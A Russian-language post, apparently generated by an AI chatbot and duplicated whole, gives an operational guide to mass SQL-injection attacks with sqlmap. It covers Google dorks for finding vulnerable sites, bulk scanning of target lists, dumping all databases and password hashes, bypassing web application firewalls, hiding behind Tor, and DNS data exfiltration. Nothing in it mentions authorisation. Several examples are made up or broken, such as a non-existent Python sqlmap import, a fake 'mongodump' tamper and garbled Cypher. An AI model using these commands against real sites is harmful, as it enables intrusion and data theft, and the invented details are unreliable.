SQLmap — это мощный инструмент для автоматического поиска и эксплуатации SQL-инъекций. Он поддерживает **массовое сканирование**, если у вас есть список URL или параметров.
---
## :fire: **1. Подготовка списка целей**
Перед сканированием нужно собрать URL с параметрами (например, `site.com/page?id=1`).
### **Способы сбора URL:**
#### :pushpin: **1. Google Dorks (поиск уязвимых сайтов)**
Пример запросов:
```sql
inurl:".php?id="
inurl:"product.php?cat="
inurl:".asp?cartID="
```
Сохраните результаты в файл `targets.txt`.
#### :pushpin: **2. Использование инструментов для разведки**
- **Sublist3r** (поиск поддоменов):
```bash
sublist3r -d example.com -o subdomains.txt
```
- **Gau / WayBackUrls** (сбор URL из архивов):
```bash
gau example.com > urls.txt
```
- **ParamSpider** (поиск параметров в URL):
```bash
python3 paramspider.py -d example.com -o params.txt
```
#### :pushpin: **3. Ручной сбор (если есть конкретные сайты)**
Создайте файл `urls.txt` в формате:
```
https://site1.com/page.php?id=1
https://site2.com/product?cat=5
http://site3.net/profile?user=admin
```
---
## :rocket: **2. Запуск SQLmap в массовом режиме**
### **:pushpin: Базовый массовый скан**
```bash
sqlmap -m urls.txt --batch --level=3 --risk=3
```
- `-m urls.txt` — файл с URL для проверки.
- `--batch` — автоматический режим (не требует подтверждений).
- `--level=3` — глубокая проверка (больше параметров).
- `--risk=3` — рискованные тесты (может вызывать ошибки на сайте).
### **:pushpin: Скан с сохранением результатов**
```bash
sqlmap -m urls.txt --batch --output-dir=sqlmap_results
```
Результаты сохранятся в папке `sqlmap_results`.
### **:pushpin: Специфичные проверки**
#### **Поиск только определенных СУБД**
```bash
sqlmap -m urls.txt --dbms=mysql --batch
```
(Поддерживаемые СУБД: `mysql`, `mssql`, `postgresql`, `oracle`).
#### **Использование прокси (если блокируют IP)**
```bash
sqlmap -m urls.txt --proxy="http://127.0.0.1:8080" --batch
```
#### **Обход WAF (Cloudflare, ModSecurity)**
```bash
sqlmap -m urls.txt --tamper=space2comment --batch
```
(Другие полезные `--tamper`: `randomcase`, `chardoubleencode`).
## **:pushpin: 1. Глубокий массовый скан с кастомизацией**
### **:small_blue_diamond: Пример 1: Скан + автоматический дамп данных**
```bash
sqlmap -m urls.txt --batch --level=5 --risk=3 --threads=10 --dump-all --output-dir=reports
```
- `--level=5` – максимальная детализация (проверка HTTP-заголовков, Cookie).
- `--threads=10` – ускорение за счет многопоточности.
- `--dump-all` – автоматически выгружает все найденные БД.
### **:small_blue_diamond: Пример 2: Специфичный поиск (только логины/пароли)**
```bash
sqlmap -m urls.txt --batch --passwords --users --tables
```
- `--passwords` – пытается извлечь хеши паролей.
- `--users` – список пользователей БД.
- `--tables` – показывает таблицы.
---
## **:pushpin: 2. Работа с WAF / Обход защиты**
### **:small_blue_diamond: Пример 3: Обход Cloudflare / ModSecurity**
```bash
sqlmap -u "https://example.com/page?id=1" --tamper=between,randomcase,space2comment --delay=2 --random-agent
```
- `--tamper` – маскировка SQL-запросов (обход сигнатур WAF).
- `--delay=2` – пауза между запросами (избегает блокировки).
- `--random-agent` – случайный User-Agent (имитация браузера).
### **:small_blue_diamond: Пример 4: Тест на слепую SQLi (Time-Based)**
```bash
sqlmap -u "https://example.com/search?q=test" --technique=T --time-sec=5 --dbs
```
- `--technique=T` – использует временные задержки (если классические методы не работают).
- `--time-sec=5` – время ожидания ответа.
---
## **:pushpin: 3. Полная автоматизация (скрипты + шелл)**
### **:small_blue_diamond: Пример 5: Bash-скрипт для массового сканирования**
```bash
#!/bin/bash
for url in $(cat urls.txt); do
sqlmap -u "$url" --batch --output-dir=./scan_results/$RANDOM
done
```
*Сохраните как `mass_scan.sh`, затем:*
```bash
chmod +x mass_scan.sh
./mass_scan.sh
```
### **:small_blue_diamond: Пример 6: Параллельный запуск (GNU Parallel)**
```bash
cat urls.txt | parallel -j 5 "sqlmap -u {} --batch --output-dir=reports/{#}"
```
- `-j 5` – 5 параллельных процессов.
---
## **:pushpin: 4. Интеграция с другими инструментами**
### **:small_blue_diamond: Пример 7: Связка SQLmap + Nikto**
```bash
nikto -h example.com -Tuning 7 -o nikto_scan.txt
sqlmap -u "https://example.com/vuln.php?id=1" --data="$(grep 'POST' nikto_scan.txt)"
```
### **:small_blue_diamond: Пример 8: Использование результатов Burp Suite**
1. Перехватите запрос в Burp → Сохраните в файл `request.txt`.
2. Запустите SQLmap:
```bash
sqlmap -r request.txt --batch --dbs
```
---
## **:pushpin: 5. Специфичные сценарии**
### **:small_blue_diamond: Пример 9: Скан авторизованной сессии**
```bash
sqlmap -u "https://example.com/profile" --cookie="PHPSESSID=12345" --dbs
```
### **:small_blue_diamond: Пример 10: Эксплуатация через POST-данные**
```bash
sqlmap -u "https://example.com/login" --data="username=admin&password=123" --method=POST
```
1. Ультра-массовое сканирование (500+ сайтов)**
### **:small_blue_diamond: Пример 11: Кластерный анализ через Tor + прокси-ротацию**
```bash
sqlmap -m darknet_targets.txt --tor --tor-type=SOCKS5 --check-tor --proxy="socks5://127.0.0.1:9050" --random-agent --delay=3 --threads=5 --output-dir=tor_scans
```
- `--tor` – анонимность через сеть Tor
- `--delay=3` – искусственные паузы между запросами
- Работает только с предварительно собранным списком .onion-ресурсов
### **:small_blue_diamond: Пример 12: Облачное сканирование через AWS Lambda**
```python
# AWS Lambda-функция для распределенного сканирования
import os
import sqlmap
def lambda_handler(event, context):
target = event['target']
os.system(f"sqlmap -u {target} --batch --output-dir=/tmp/results")
return {"status": "scan completed"}
```
*Требует предварительной настройки AWS API Gateway*
---
## **:pushpin: 2. Стелс-методики (для сложных WAF)**
### **:small_blue_diamond: Пример 13: Генерация легитимного трафика**
```bash
sqlmap -u "https://target.com/search?q=*" --tamper=charencode,charunicodeescape --safe-url="https://target.com/robots.txt" --safe-freq=10 --flush-session
```
- Маскируется под обычный поисковый трафик
- `--safe-url` задает "белый" URL для поддержания сессии
### **:small_blue_diamond: Пример 14: DNS-экфильтрация данных**
```bash
sqlmap -u "https://vuln-site.com" --dns-domain=yourdnslog.com --technique=DNS
```
- Утечка данных через DNS-запросы
- Требует сервера для перехвата (можно использовать dnslog.cn)
---
## **:pushpin: 3. Интеграция с современным стеком**
### **:small_blue_diamond: Пример 15: SQLmap + SpiderFoot (разведка)**
```bash
# Сначала собираем разведданные:
spiderfoot -u target.com -o targets.json
# Затем парсим результаты для SQLmap:
jq -r '.urls[]' targets.json | grep "?id=" > sqli_targets.txt
sqlmap -m sqli_targets.txt --batch
```
### **:small_blue_diamond: Пример 16: Автоматизация через Celery + Redis**
```python
# tasks.py
from celery import Celery
app = Celery('tasks', broker='redis://localhost:6379/0')
@app.task
def scan_url(url):
os.system(f"sqlmap -u {url} --batch --output-dir=scans/{url.hash()}")
```
*Для распределенного сканирования в кластере*
---
## **:pushpin: 4. Анализ современных фреймворков**
### **:small_blue_diamond: Пример 17: Тестирование GraphQL**
```bash
sqlmap -u "https://api.target.com/graphql" --method=POST --data='{"query":"{user(id:\"1\"){name}}"}'
```
- Работает с поддельными параметрами
- Требует ручной настройки под конкретную реализацию
### **:small_blue_diamond: Пример 18: NoSQL-инъекции (MongoDB)**
```bash
sqlmap -u "https://target.com/api?filter=*" --dbms=mongo --tamper=mongodump
```
- Экспериментальная поддержка NoSQL
---
## **:pushpin: 5. Обработка результатов**
### **:small_blue_diamond: Пример 19: Автоматический отчет в ELK-стек**
```bash
sqlmap -u target.com --batch --output-dir=scan_results
filebeat -c filebeat.yml --path.data /tmp/scan_results
```
*Где filebeat.yml настроен на отправку в Elasticsearch*
### **:small_blue_diamond: Пример 20: Визуализация в Neo4j**
```cypher
LOAD CSV FROM 'file:///sqlmap_results.csv' AS row
CREATE :)SQLi {url: row[0], db: row[1], vuln: row[2]})
```
- Построение графа взаимосвязей
Взято из DeepSeek
---
## :fire: **1. Подготовка списка целей**
Перед сканированием нужно собрать URL с параметрами (например, `site.com/page?id=1`).
### **Способы сбора URL:**
#### :pushpin: **1. Google Dorks (поиск уязвимых сайтов)**
Пример запросов:
```sql
inurl:".php?id="
inurl:"product.php?cat="
inurl:".asp?cartID="
```
Сохраните результаты в файл `targets.txt`.
#### :pushpin: **2. Использование инструментов для разведки**
- **Sublist3r** (поиск поддоменов):
```bash
sublist3r -d example.com -o subdomains.txt
```
- **Gau / WayBackUrls** (сбор URL из архивов):
```bash
gau example.com > urls.txt
```
- **ParamSpider** (поиск параметров в URL):
```bash
python3 paramspider.py -d example.com -o params.txt
```
#### :pushpin: **3. Ручной сбор (если есть конкретные сайты)**
Создайте файл `urls.txt` в формате:
```
https://site1.com/page.php?id=1
https://site2.com/product?cat=5
http://site3.net/profile?user=admin
```
---
## :rocket: **2. Запуск SQLmap в массовом режиме**
### **:pushpin: Базовый массовый скан**
```bash
sqlmap -m urls.txt --batch --level=3 --risk=3
```
- `-m urls.txt` — файл с URL для проверки.
- `--batch` — автоматический режим (не требует подтверждений).
- `--level=3` — глубокая проверка (больше параметров).
- `--risk=3` — рискованные тесты (может вызывать ошибки на сайте).
### **:pushpin: Скан с сохранением результатов**
```bash
sqlmap -m urls.txt --batch --output-dir=sqlmap_results
```
Результаты сохранятся в папке `sqlmap_results`.
### **:pushpin: Специфичные проверки**
#### **Поиск только определенных СУБД**
```bash
sqlmap -m urls.txt --dbms=mysql --batch
```
(Поддерживаемые СУБД: `mysql`, `mssql`, `postgresql`, `oracle`).
#### **Использование прокси (если блокируют IP)**
```bash
sqlmap -m urls.txt --proxy="http://127.0.0.1:8080" --batch
```
#### **Обход WAF (Cloudflare, ModSecurity)**
```bash
sqlmap -m urls.txt --tamper=space2comment --batch
```
(Другие полезные `--tamper`: `randomcase`, `chardoubleencode`).
## **:pushpin: 1. Глубокий массовый скан с кастомизацией**
### **:small_blue_diamond: Пример 1: Скан + автоматический дамп данных**
```bash
sqlmap -m urls.txt --batch --level=5 --risk=3 --threads=10 --dump-all --output-dir=reports
```
- `--level=5` – максимальная детализация (проверка HTTP-заголовков, Cookie).
- `--threads=10` – ускорение за счет многопоточности.
- `--dump-all` – автоматически выгружает все найденные БД.
### **:small_blue_diamond: Пример 2: Специфичный поиск (только логины/пароли)**
```bash
sqlmap -m urls.txt --batch --passwords --users --tables
```
- `--passwords` – пытается извлечь хеши паролей.
- `--users` – список пользователей БД.
- `--tables` – показывает таблицы.
---
## **:pushpin: 2. Работа с WAF / Обход защиты**
### **:small_blue_diamond: Пример 3: Обход Cloudflare / ModSecurity**
```bash
sqlmap -u "https://example.com/page?id=1" --tamper=between,randomcase,space2comment --delay=2 --random-agent
```
- `--tamper` – маскировка SQL-запросов (обход сигнатур WAF).
- `--delay=2` – пауза между запросами (избегает блокировки).
- `--random-agent` – случайный User-Agent (имитация браузера).
### **:small_blue_diamond: Пример 4: Тест на слепую SQLi (Time-Based)**
```bash
sqlmap -u "https://example.com/search?q=test" --technique=T --time-sec=5 --dbs
```
- `--technique=T` – использует временные задержки (если классические методы не работают).
- `--time-sec=5` – время ожидания ответа.
---
## **:pushpin: 3. Полная автоматизация (скрипты + шелл)**
### **:small_blue_diamond: Пример 5: Bash-скрипт для массового сканирования**
```bash
#!/bin/bash
for url in $(cat urls.txt); do
sqlmap -u "$url" --batch --output-dir=./scan_results/$RANDOM
done
```
*Сохраните как `mass_scan.sh`, затем:*
```bash
chmod +x mass_scan.sh
./mass_scan.sh
```
### **:small_blue_diamond: Пример 6: Параллельный запуск (GNU Parallel)**
```bash
cat urls.txt | parallel -j 5 "sqlmap -u {} --batch --output-dir=reports/{#}"
```
- `-j 5` – 5 параллельных процессов.
---
## **:pushpin: 4. Интеграция с другими инструментами**
### **:small_blue_diamond: Пример 7: Связка SQLmap + Nikto**
```bash
nikto -h example.com -Tuning 7 -o nikto_scan.txt
sqlmap -u "https://example.com/vuln.php?id=1" --data="$(grep 'POST' nikto_scan.txt)"
```
### **:small_blue_diamond: Пример 8: Использование результатов Burp Suite**
1. Перехватите запрос в Burp → Сохраните в файл `request.txt`.
2. Запустите SQLmap:
```bash
sqlmap -r request.txt --batch --dbs
```
---
## **:pushpin: 5. Специфичные сценарии**
### **:small_blue_diamond: Пример 9: Скан авторизованной сессии**
```bash
sqlmap -u "https://example.com/profile" --cookie="PHPSESSID=12345" --dbs
```
### **:small_blue_diamond: Пример 10: Эксплуатация через POST-данные**
```bash
sqlmap -u "https://example.com/login" --data="username=admin&password=123" --method=POST
```
1. Ультра-массовое сканирование (500+ сайтов)**
### **:small_blue_diamond: Пример 11: Кластерный анализ через Tor + прокси-ротацию**
```bash
sqlmap -m darknet_targets.txt --tor --tor-type=SOCKS5 --check-tor --proxy="socks5://127.0.0.1:9050" --random-agent --delay=3 --threads=5 --output-dir=tor_scans
```
- `--tor` – анонимность через сеть Tor
- `--delay=3` – искусственные паузы между запросами
- Работает только с предварительно собранным списком .onion-ресурсов
### **:small_blue_diamond: Пример 12: Облачное сканирование через AWS Lambda**
```python
# AWS Lambda-функция для распределенного сканирования
import os
import sqlmap
def lambda_handler(event, context):
target = event['target']
os.system(f"sqlmap -u {target} --batch --output-dir=/tmp/results")
return {"status": "scan completed"}
```
*Требует предварительной настройки AWS API Gateway*
---
## **:pushpin: 2. Стелс-методики (для сложных WAF)**
### **:small_blue_diamond: Пример 13: Генерация легитимного трафика**
```bash
sqlmap -u "https://target.com/search?q=*" --tamper=charencode,charunicodeescape --safe-url="https://target.com/robots.txt" --safe-freq=10 --flush-session
```
- Маскируется под обычный поисковый трафик
- `--safe-url` задает "белый" URL для поддержания сессии
### **:small_blue_diamond: Пример 14: DNS-экфильтрация данных**
```bash
sqlmap -u "https://vuln-site.com" --dns-domain=yourdnslog.com --technique=DNS
```
- Утечка данных через DNS-запросы
- Требует сервера для перехвата (можно использовать dnslog.cn)
---
## **:pushpin: 3. Интеграция с современным стеком**
### **:small_blue_diamond: Пример 15: SQLmap + SpiderFoot (разведка)**
```bash
# Сначала собираем разведданные:
spiderfoot -u target.com -o targets.json
# Затем парсим результаты для SQLmap:
jq -r '.urls[]' targets.json | grep "?id=" > sqli_targets.txt
sqlmap -m sqli_targets.txt --batch
```
### **:small_blue_diamond: Пример 16: Автоматизация через Celery + Redis**
```python
# tasks.py
from celery import Celery
app = Celery('tasks', broker='redis://localhost:6379/0')
@app.task
def scan_url(url):
os.system(f"sqlmap -u {url} --batch --output-dir=scans/{url.hash()}")
```
*Для распределенного сканирования в кластере*
---
## **:pushpin: 4. Анализ современных фреймворков**
### **:small_blue_diamond: Пример 17: Тестирование GraphQL**
```bash
sqlmap -u "https://api.target.com/graphql" --method=POST --data='{"query":"{user(id:\"1\"){name}}"}'
```
- Работает с поддельными параметрами
- Требует ручной настройки под конкретную реализацию
### **:small_blue_diamond: Пример 18: NoSQL-инъекции (MongoDB)**
```bash
sqlmap -u "https://target.com/api?filter=*" --dbms=mongo --tamper=mongodump
```
- Экспериментальная поддержка NoSQL
---
## **:pushpin: 5. Обработка результатов**
### **:small_blue_diamond: Пример 19: Автоматический отчет в ELK-стек**
```bash
sqlmap -u target.com --batch --output-dir=scan_results
filebeat -c filebeat.yml --path.data /tmp/scan_results
```
*Где filebeat.yml настроен на отправку в Elasticsearch*
### **:small_blue_diamond: Пример 20: Визуализация в Neo4j**
```cypher
LOAD CSV FROM 'file:///sqlmap_results.csv' AS row
CREATE :)SQLi {url: row[0], db: row[1], vuln: row[2]})
```
- Построение графа взаимосвязей
Взято из DeepSeek
👍48
❤️11
🔥8
😮8
👏9
LIMB